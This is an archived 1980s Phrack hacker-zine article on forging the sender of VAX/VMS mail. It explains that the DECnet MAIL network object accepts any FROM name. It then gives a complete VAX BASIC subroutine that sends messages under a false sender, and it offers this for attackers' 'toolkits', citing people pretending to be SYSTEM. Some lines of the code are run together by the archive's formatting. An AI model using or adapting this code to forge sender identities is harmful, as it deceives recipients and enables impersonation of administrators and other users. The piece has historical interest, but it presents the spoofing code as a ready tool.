home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack1 / phrack30.007 < prev    next >
Encoding:
Text File  |  2003-06-11  |  6.2 KB  |  216 lines

  1.  
  2.                 ==Phrack Inc.=
  3.  
  4.              Volume Three, Issue 30, File #7 of 12
  5.  
  6.                  =-------------------=
  7.  
  8.                    VAX/VMS Fake Mail
  9.  
  10.                 by Jack T. Tab
  11.  
  12.                  =-------------------=
  13.  
  14.  
  15. In the August 1986 issue of VAX PROFESSIONAL, the BASIC subroutine that appears
  16. at the end of this text was published.    It was not until more than two years
  17. later that DEC included a callable mail interface with VMS 5.x.  While the
  18. official version is much more extensive, the routine included here has one
  19. important feature.  The ability to have a mail message appear to be from
  20. someone else is a good addition to most "toolkits."
  21.  
  22. VMS Mail works in two manners.    The first is the familiar interactive.    The
  23. second is as a network object.    In this method, MAIL is invoked by the
  24. NETSERVER.COM command procedure in response to an incoming connect request.
  25. MAIL.EXE is activated as network object 27.  The other network objects can be
  26. viewed by using the NCP command SHOW KNOWN OBJECTS.  In this mode, MAIL.EXE
  27. operates as a slave process, receiving instructions from the master process.
  28. The master, in most cases, is another process running MAIL.EXE interactively.
  29. The slave process can handle requests to deliver mail to as many recipients as
  30. necessary.  Addresses that are not on the same node as the slave process are
  31. forwarded by activating yet another slave process on the target node.  The
  32. information sent by the master MAIL to the slave MAIL is quite simple and
  33. straightforward, consisting of a series of strings.
  34.  
  35. The first string is for the FROM name.    This is what makes the subroutine
  36. useful, as it can be anything (i.e. the_Easter_Bunny).    The next set of strings
  37. are to whom the mail is to be sent.  One address per string, with a null
  38. string, chr(0), terminating the list.  The third item is what the receiver(s)
  39. sees in their TO: field.  This also can be anything.  VMS MAIL can use this
  40. option for its .DIS distribution lists.  The final information is the body of
  41. the message.  It too is terminated by another null string.  The subject of the
  42. mail message is taken from the first line of this text.
  43.  
  44. The MAIL slave will send back appropriate status messages indicating problems
  45. if they occur.    Such as "Addressee Unknown" or VMS and DECnet errors like "Disk
  46. Quota Exceeded" or "Remote Node Not Reachable").
  47.  
  48. The only privilege that seems necessary is NETMBX.  Without it the subroutine
  49. cannot call MAIL as a network object.  Our beloved system management resolved
  50. the problem of people pretending to be SYSTEM by installing MAIL with NETMBX
  51. and removing the priv from the student accounts.  The subroutine works just as
  52. well with JNET and BITNET as it does with DECNET addresses.
  53.  
  54.  
  55. ***********************************CUT HERE************************************
  56. 1  %TITLE 'MAIL SUBROUTINE'
  57.  
  58.    SUB MAILT( STRING NODE, &        STRING FROM_NAME, &        STRING
  59. TO_LIST(), &        STRING TO_SHOW, &         STRING SUBJECT, &          STRING
  60. TEXT() )
  61.  
  62.    OPTION TYPE = INTEGER
  63.  
  64.    DECLARE INTEGER FUNCTION &       PUT_MSG
  65.  
  66.    DECLARE STRING FUNCTION &      GET_MSG, &      GET_INPUT
  67.  
  68.    DECLARE INTEGER CONSTANT &       TRUE = -1, &      FALSE = 0      Net_Link_Open
  69. = FALSE
  70.  
  71.    Z = POS( NODE + ":" , ":" , 1)    NODE_NAME$ = LEFT$( NODE , Z - 1 )    ON
  72. ERROR GOTO Mail_Net_Error    MAIL_CHANNEL = 12      OPEN NODE_NAME$ + '::"27="'
  73. AS FILE MAIL_CHANNEL
  74.  
  75.    Net_Link_Open = TRUE
  76.  
  77.    STS = PUT_MSG( FROM_NAME )     IF STS <> 0 THEN      GOTO ERROR_DONE      END
  78. IF    RECEIVERS = 0    TO_COUNT = 1
  79.  
  80. Mail_Recipients:    IF TO_LIST( TO_COUNT ) = "" THEN      GOTO End_Of_Line
  81. END IF      STS = PUT_MSG( EDIT$( TO_LIST( TO_COUNT ) , 32 ) )    IF STS <> 0
  82. THEN      GOTO Error_Done    END IF    GOSUB Errchk    IF LINK_ERR <> 0
  83. THEN      GOTO Error_Done    END IF
  84.  
  85.    IF ( ERRSTS AND 1 ) = 0 THEN
  86.       GOTO Error_Done
  87.     END IF
  88.  
  89.    TO_COUNT = TO_COUNT + 1
  90.    GOTO Mail_Recipients
  91.  
  92. END_OF_LINE:
  93.     STS = PUT_MSG( CHR$(0) )
  94.     IF STS <> 0 THEN
  95.       GOTO Error_Done
  96.     END IF
  97.     IF RECEIVERS = 0 THEN
  98.       GOTO Mail_Done
  99.     END IF
  100.  
  101.    STS = PUT_MSG( TO_SHOW )
  102.    IF STS <> 0 THEN
  103.       GOTO Error_Done
  104.     END IF
  105.  
  106.    STS = PUT_MSG( SUBJECT )
  107.     IF STS <> 0 THEN
  108.       GOTO Error_Done
  109.     END IF
  110.  
  111.    FOR I = 1 UNTIL TEXT(I) = CHR$(255)
  112.     STS = PUT_MSG( TEXT(I) )
  113.     IF STS <> 0 THEN
  114.     GOTO Error_Done
  115.       END IF
  116.     NEXT I
  117.  
  118.    STS = PUT_MSG( CHR$(0) )
  119.     IF STS <> 0 THEN
  120.       GOTO Error_Done
  121.     END IF
  122.     SAVE_COUNT = RECEIVERS
  123.     INDEX = 0
  124.  
  125. Delivery_Check:
  126.     GOSUB Errchk
  127.     IF LINK_ERR <> 0 THEN
  128.       GOTO Error_Done
  129.     END IF
  130.     INDEX = INDEX + 1
  131.     IF INDEX <> SAVE_COUNT THEN
  132.       GOTO Delivery_Check
  133.     END IF
  134.     GOTO Mail_Done
  135.  
  136. Errchk:
  137.     MAIL_STS = ASCII( GET_MSG )
  138.     IF LINK_ERR <> 0 THEN
  139.       ERRSTS = LINK_ERR
  140.       RETURN    END IF
  141.     IF ( MAIL_STS AND 1 ) = 1 THEN
  142.       Receivers = Receivers + 1
  143.       ERRSTS = MAIL_STS
  144.       RETURN    END IF
  145.  
  146. Errmsg:
  147.     MAIL_ERR$ = GET_MSG
  148.     IF LINK_ERR <> 0 THEN
  149.       ERRSTS = LINK_ERR
  150.       RETURN    END IF
  151.     IF LEN( MAIL_ERR$ ) <> 1 THEN
  152.      PRINT MAIL_ERR$
  153.       GOTO Errmsg
  154.     END IF
  155.     IF ASCII( MAIL_ERR$ ) = 0 THEN
  156.       RETURN
  157.     ELSE
  158.      GOTO Errmsg
  159.     END IF
  160.  
  161.    DEF INTEGER PUT_MSG( STRING M )
  162.     ON ERROR GOTO 1550
  163.     MLEN = LEN( M )
  164.     MOVE TO # MAIL_CHANNEL , M = MLEN
  165.     PUT # MAIL_CHANNEL, COUNT MLEN
  166.    PUT_MSG = 0
  167.     EXIT DEF
  168.  
  169. 1550 RESUME 1555
  170.  
  171. 1555 PUT_MSG = ERR
  172.      END DEF
  173.  
  174.    DEF STRING GET_INPUT( INTEGER C )
  175.     EOF = FALSE
  176.     ON ERROR GOTO 1650
  177.    GET # C
  178.    R = RECOUNT
  179.   MOVE FROM #C , TEMP$ = R
  180.     GET_INPUT = TEMP$
  181.     EXIT DEF
  182.  
  183. 1650 RESUME 1655
  184.  
  185. 1655 EOF = TRUE
  186.       END DEF
  187.  
  188.    DEF STRING GET_MSG
  189.     ON ERROR GOTO 1750
  190.     GET # MAIL_CHANNEL
  191.     R = RECOUNT
  192.     MOVE FROM # MAIL_CHANNEL , TEMP$ = R
  193.     GET_MSG = TEMP$
  194.     LINK_ERR = 0
  195.     EXIT DEF
  196.  
  197. 1750 RESUME
  198.  
  199. 1755 LINK_ERR = ERR
  200.       END DEF
  201.  
  202. Mail_Net_Error:   RESUME 1900
  203.  
  204. 1900 PRINT "%Network communications error."
  205.  
  206. Error_Done:
  207.  
  208. Mail_Done:
  209.     IF Net_Link_Open THEN
  210.       CLOSE MAIL_CHANNEL
  211.     END IF
  212.  
  213.    END SUB
  214. ***********************************CUT HERE************************************
  215. _______________________________________________________________________________
  216.